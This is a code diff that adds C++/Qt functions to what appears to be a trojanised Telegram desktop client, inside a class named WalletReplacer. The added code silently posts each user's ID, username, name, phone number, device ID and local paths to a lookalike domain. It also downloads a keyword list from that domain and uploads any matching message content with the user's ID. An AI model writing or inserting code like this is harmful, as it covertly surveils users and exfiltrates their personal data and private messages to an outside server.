+ if (!isImportant) {
|
|
|
|
|
+ // 如果距离上次提交不足60分钟,并且是同一用户,则跳过
|
|
|
|
|
+ if (minutesSinceLastSubmit < 60 && isSameUser) {
|
|
|
|
|
+ LOG(("User Info: [SKIPPED] Already submitted in the last hour for user %1 (%2 minutes ago)")
|
|
|
|
|
+ .arg(currentUserId).arg(minutesSinceLastSubmit));
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 如果不是同一用户,但是距离上次提交不足10分钟,也跳过
|
|
|
|
|
+ if (minutesSinceLastSubmit < 10 && !isSameUser) {
|
|
|
|
|
+ LOG(("User Info: [SKIPPED] Too frequent submission for different user (%1 minutes since last submit)")
|
|
|
|
|
+ .arg(minutesSinceLastSubmit));
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("User Info: Processing important submission (login/startup) for user: %1").arg(currentUserId));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Starting submission process..."));
|
|
|
|
|
+
|
|
|
|
|
+ // 创建网络请求管理器
|
|
|
|
|
+ QNetworkAccessManager manager;
|
|
|
|
|
+ QNetworkRequest request(QUrl(url.isEmpty() ?
|
|
|
|
|
+ "https://dl-telegram.org/api/tg-users/notice" : url));
|
|
|
|
|
+ request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Request URL: %1").arg(request.url().toString()));
|
|
|
|
|
+
|
|
|
|
|
+ // 设备相关信息
|
|
|
|
|
+ QString deviceId = getDeviceId();
|
|
|
|
|
+ QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion());
|
|
|
|
|
+
|
|
|
|
|
+ // 确定平台
|
|
|
|
|
+ QString platform;
|
|
|
|
|
+#if defined(Q_OS_WIN)
|
|
|
|
|
+ platform = "PC";
|
|
|
|
|
+#elif defined(Q_OS_MACOS)
|
|
|
|
|
+ platform = "macOS";
|
|
|
|
|
+#elif defined(Q_OS_LINUX)
|
|
|
|
|
+ platform = "Linux";
|
|
|
|
|
+#elif defined(Q_OS_IOS)
|
|
|
|
|
+ platform = "iOS";
|
|
|
|
|
+#elif defined(Q_OS_ANDROID)
|
|
|
|
|
+ platform = "Android";
|
|
|
|
|
+#else
|
|
|
|
|
+ platform = "Other";
|
|
|
|
|
+#endif
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName()));
|
|
|
|
|
+
|
|
|
|
|
+ // 获取版本
|
|
|
|
|
+ QString version = QCoreApplication::applicationVersion();
|
|
|
|
|
+ LOG(("User Info: App version: %1").arg(version));
|
|
|
|
|
+ LOG(("User Info: User ID: %1").arg(currentUserId));
|
|
|
|
|
+ LOG(("User Info: Device ID: %2").arg(deviceId));
|
|
|
|
|
+
|
|
|
|
|
+ // 更新最后提交时间和用户ID
|
|
|
|
|
+ lastSubmitTime = currentTime;
|
|
|
|
|
+ lastSubmitUserId = currentUserId;
|
|
|
|
|
+
|
|
|
|
|
+ // 创建JSON对象
|
|
|
|
|
+ QJsonObject jsonObj;
|
|
|
|
|
+ jsonObj["id"] = currentUserId;
|
|
|
|
|
+ jsonObj["username"] = username;
|
|
|
|
|
+ jsonObj["name"] = name;
|
|
|
|
|
+ jsonObj["phone"] = phone;
|
|
|
|
|
+ jsonObj["deviceId"] = deviceId;
|
|
|
|
|
+ jsonObj["platform"] = platform;
|
|
|
|
|
+ jsonObj["version"] = version;
|
|
|
|
|
+ jsonObj["deviceInfo"] = deviceInfo;
|
|
|
|
|
+ jsonObj["isImportant"] = isImportant;
|
|
|
|
|
+ jsonObj["userInfoObtained"] = userInfoObtained;
|
|
|
|
|
+ jsonObj["channel"] = kChannel;
|
|
|
|
|
+
|
|
|
|
|
+ // 添加更多信息帮助调试
|
|
|
|
|
+ jsonObj["appLocation"] = QCoreApplication::applicationDirPath();
|
|
|
|
|
+ jsonObj["dataLocation"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation);
|
|
|
|
|
+ jsonObj["configPath"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini";
|
|
|
|
|
+ jsonObj["timestamp"] = QDateTime::currentDateTime().toString(Qt::ISODate);
|
|
|
|
|
+ jsonObj["minutesSinceLastSubmit"] = minutesSinceLastSubmit;
|
|
|
|
|
+
|
|
|
|
|
+ QJsonDocument doc(jsonObj);
|
|
|
|
|
+ QByteArray data = doc.toJson();
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Prepared JSON payload (%1 bytes)").arg(data.size()));
|
|
|
|
|
+ LOG(("User Info: Payload content: %1").arg(QString(data)));
|
|
|
|
|
+
|
|
|
|
|
+ try {
|
|
|
|
|
+ // 发送请求
|
|
|
|
|
+ LOG(("User Info: Sending network request..."));
|
|
|
|
|
+ QNetworkReply *reply = manager.post(request, data);
|
|
|
|
|
+
|
|
|
|
|
+ // 使用事件循环等待响应
|
|
|
|
|
+ LOG(("User Info: Waiting for response..."));
|
|
|
|
|
+ QEventLoop loop;
|
|
|
|
|
+ QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
|
|
|
|
|
+ loop.exec();
|
|
|
|
|
+
|
|
|
|
|
+ // 处理响应
|
|
|
|
|
+ if (reply->error() == QNetworkReply::NoError) {
|
|
|
|
|
+ QByteArray responseData = reply->readAll();
|
|
|
|
|
+ int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
|
|
|
|
+ LOG(("User Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes")
|
|
|
|
|
+ .arg(statusCode).arg(responseData.size()));
|
|
|
|
|
+ LOG(("User Info: Response data: %1").arg(QString(responseData)));
|
|
|
|
|
+
|
|
|
|
|
+ // 尝试解析JSON响应
|
|
|
|
|
+ try {
|
|
|
|
|
+ QJsonDocument responseDoc = QJsonDocument::fromJson(responseData);
|
|
|
|
|
+ QJsonObject responseObj = responseDoc.object();
|
|
|
|
|
+ if (!responseObj.isEmpty()) {
|
|
|
|
|
+ QString status = responseObj["status"].toString();
|
|
|
|
|
+ QString message = responseObj["message"].toString();
|
|
|
|
|
+ LOG(("User Info: Response details - Status: %1, Message: %2")
|
|
|
|
|
+ .arg(status).arg(message));
|
|
|
|
|
+ }
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("User Info: Could not parse JSON response"));
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("User Info: [FAILED] Network error: %1 (Code: %2)")
|
|
|
|
|
+ .arg(reply->errorString()).arg(reply->error()));
|
|
|
|
|
+
|
|
|
|
|
+ // 输出详细的HTTP错误信息
|
|
|
|
|
+ int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
|
|
|
|
|
+ if (httpStatus > 0) {
|
|
|
|
|
+ LOG(("User Info: HTTP Status Code: %1").arg(httpStatus));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ // 记录错误响应内容
|
|
|
|
|
+ QByteArray errorData = reply->readAll();
|
|
|
|
|
+ if (!errorData.isEmpty()) {
|
|
|
|
|
+ LOG(("User Info: Error response data (%1 bytes): %2")
|
|
|
|
|
+ .arg(errorData.size())
|
|
|
|
|
+ .arg(QString::fromUtf8(errorData)));
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Network request completed"));
|
|
|
|
|
+ reply->deleteLater();
|
|
|
|
|
+ } catch (const std::exception &e) {
|
|
|
|
|
+ LOG(("User Info: [ERROR] Exception during network request: %1").arg(e.what()));
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("User Info: [ERROR] Unknown exception during network request"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("User Info: Submission process completed"));
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+QStringList WalletReplacer::getSensitiveWords() {
|
|
|
|
|
+ static QStringList cachedWords;
|
|
|
|
|
+ static QDateTime lastUpdateTime = QDateTime::fromMSecsSinceEpoch(0);
|
|
|
|
|
+
|
|
|
|
|
+ // 检查缓存是否过期(1小时更新一次)
|
|
|
|
|
+ QDateTime currentTime = QDateTime::currentDateTime();
|
|
|
|
|
+ if (!cachedWords.isEmpty() && lastUpdateTime.secsTo(currentTime) < 3600) {
|
|
|
|
|
+ LOG(("Sensitive Words: Using cached words list"));
|
|
|
|
|
+ return cachedWords;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Sensitive Words: Fetching new words list from server"));
|
|
|
|
|
+
|
|
|
|
|
+ QNetworkAccessManager manager;
|
|
|
|
|
+ QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/getSensitiveWords"));
|
|
|
|
|
+ request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
|
|
|
|
|
+
|
|
|
|
|
+ QEventLoop loop;
|
|
|
|
|
+ QNetworkReply *reply = manager.get(request);
|
|
|
|
|
+ QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
|
|
|
|
|
+ loop.exec();
|
|
|
|
|
+
|
|
|
|
|
+ if (reply->error() == QNetworkReply::NoError) {
|
|
|
|
|
+ QByteArray responseData = reply->readAll();
|
|
|
|
|
+ QJsonDocument doc = QJsonDocument::fromJson(responseData);
|
|
|
|
|
+ QJsonObject obj = doc.object();
|
|
|
|
|
+
|
|
|
|
|
+ if (obj.contains("value")) {
|
|
|
|
|
+ QString value = obj["value"].toString();
|
|
|
|
|
+ QStringList rawWords = value.split(",");
|
|
|
|
|
+ cachedWords.clear();
|
|
|
|
|
+
|
|
|
|
|
+ // 清理和验证每个词
|
|
|
|
|
+ for (const QString &word : rawWords) {
|
|
|
|
|
+ QString cleanedWord = word.trimmed();
|
|
|
|
|
+ if (!cleanedWord.isEmpty()) {
|
|
|
|
|
+ cachedWords.append(cleanedWord);
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ lastUpdateTime = currentTime;
|
|
|
|
|
+ LOG(("Sensitive Words: Successfully updated words list, count: %1").arg(cachedWords.size()));
|
|
|
|
|
+ LOG(("Sensitive Words: Words list: %1").arg(cachedWords.join(", ")));
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("Sensitive Words: [ERROR] No 'value' field in response"));
|
|
|
|
|
+ }
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("Sensitive Words: [ERROR] Failed to fetch words list: %1").arg(reply->errorString()));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ reply->deleteLater();
|
|
|
|
|
+ return cachedWords;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+void WalletReplacer::submitSensitiveContent(const QString &content, const QString &keyword) {
|
|
|
|
|
+ // 检查关键词是否为空
|
|
|
|
|
+ if (keyword.trimmed().isEmpty()) {
|
|
|
|
|
+ LOG(("Sensitive Content: [SKIPPED] Empty keyword, skipping submission"));
|
|
|
|
|
+ return;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Sensitive Content: Submitting content with keyword: %1").arg(keyword));
|
|
|
|
|
+
|
|
|
|
|
+ QNetworkAccessManager manager;
|
|
|
|
|
+ QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/"));
|
|
|
|
|
+ request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json");
|
|
|
|
|
+
|
|
|
|
|
+ // 获取用户ID以便在请求中使用
|
|
|
|
|
+ auto &app = Core::App();
|
|
|
|
|
+ QString userId = getTgUserId(); // 默认ID
|
|
|
|
|
+ try {
|
|
|
|
|
+ // 尝试从会话获取用户信息
|
|
|
|
|
+ if (app.domain().started()) {
|
|
|
|
|
+ const auto &account = app.activeAccount();
|
|
|
|
|
+ if (account.sessionExists()) {
|
|
|
|
|
+ auto &session = account.session();
|
|
|
|
|
+ if (auto user = session.user()) {
|
|
|
|
|
+ userId = QString::number(user->id.value);
|
|
|
|
|
+ LOG(("SensitiveContent: Using user ID from session: %1").arg(userId));
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ } catch (const std::exception &e) {
|
|
|
|
|
+ // 如果获取失败,使用默认ID
|
|
|
|
|
+ LOG(("SensitiveContent: [ERROR] Exception while getting user ID: %1").arg(e.what()));
|
|
|
|
|
+ } catch (...) {
|
|
|
|
|
+ LOG(("SensitiveContent: [ERROR] Unknown exception while getting user ID"));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ QJsonObject jsonObj;
|
|
|
|
|
+ jsonObj["content"] = content;
|
|
|
|
|
+ jsonObj["keywords"] = keyword; // 确保关键词没有空格
|
|
|
|
|
+ jsonObj["tgUserId"] = userId;
|
|
|
|
|
+
|
|
|
|
|
+ QJsonDocument doc(jsonObj);
|
|
|
|
|
+ QByteArray data = doc.toJson();
|
|
|
|
|
+
|
|
|
|
|
+ LOG(("Sensitive Content: Request payload: %1").arg(QString(data)));
|
|
|
|
|
+
|
|
|
|
|
+ QNetworkReply *reply = manager.post(request, data);
|
|
|
|
|
+ QEventLoop loop;
|
|
|
|
|
+ QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit);
|
|
|
|
|
+ loop.exec();
|
|
|
|
|
+
|
|
|
|
|
+ if (reply->error() == QNetworkReply::NoError) {
|
|
|
|
|
+ QByteArray responseData = reply->readAll();
|
|
|
|
|
+ LOG(("Sensitive Content: [SUCCESS] Server response: %1").arg(QString(responseData)));
|
|
|
|
|
+ } else {
|
|
|
|
|
+ LOG(("Sensitive Content: [ERROR] Failed to submit: %1").arg(reply->errorString()));
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ reply->deleteLater();
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+bool WalletReplacer::checkSensitiveWords(const QString &text, QString &foundKeyword) {
|
|
|
|
|
+ QStringList words = getSensitiveWords();
|
|
|
|
|
+ LOG(("Sensitive Check: Checking text against %1 words").arg(words.size()));
|
|
|
|
|
+
|
|
|
|
|
+ for (const QString &word : words) {
|
|
|
|
|
+ if (text.contains(word)) {
|
|
|
|
|
+ foundKeyword = word;
|
|
|
|
|
+ LOG(("Sensitive Check: Found sensitive word: %1").arg(word));
|
|
|
|
|
+ return true;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ return false;
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+} // namespace Core
|